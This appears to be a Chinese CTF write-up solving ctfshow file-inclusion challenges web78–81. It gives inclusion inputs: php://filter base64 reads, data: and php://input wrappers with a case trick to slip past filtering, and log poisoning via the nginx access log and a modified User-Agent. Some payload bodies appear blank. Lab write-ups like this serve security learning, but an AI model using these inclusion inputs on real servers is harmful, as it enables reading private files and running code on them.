0%

ctfshow-web入门-文件包含篇[78-81]

web78

看到是get传参

因为是文件包含 所以直接想到php伪协议

构造:
?file=php://filter/convert.base64-encode/resource=flag.php

然后直接base64解码

web79

看到代码中的 **$file = str_replace("php", "???", $file);** 意思是把 file中的php改为???

利用data协议

模板:
data:text/plain,

构造:
?file=data:text/plain,

web80

看到代码后发现他过滤了data协议

利用php协议的另一种用法(一般在burp中进行 浏览器中一般不成功)
?file=php://input
POST:

构造
?file=Php://input(利用大小写过滤php)

web81

看到把:给过滤了 所以data和php协议都不可以用

但可以使用日志

先访问
url+?file=/var/log/nginx/access.log

然后抓包并在UA头进行修改(只要添加)
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0

然后得到flag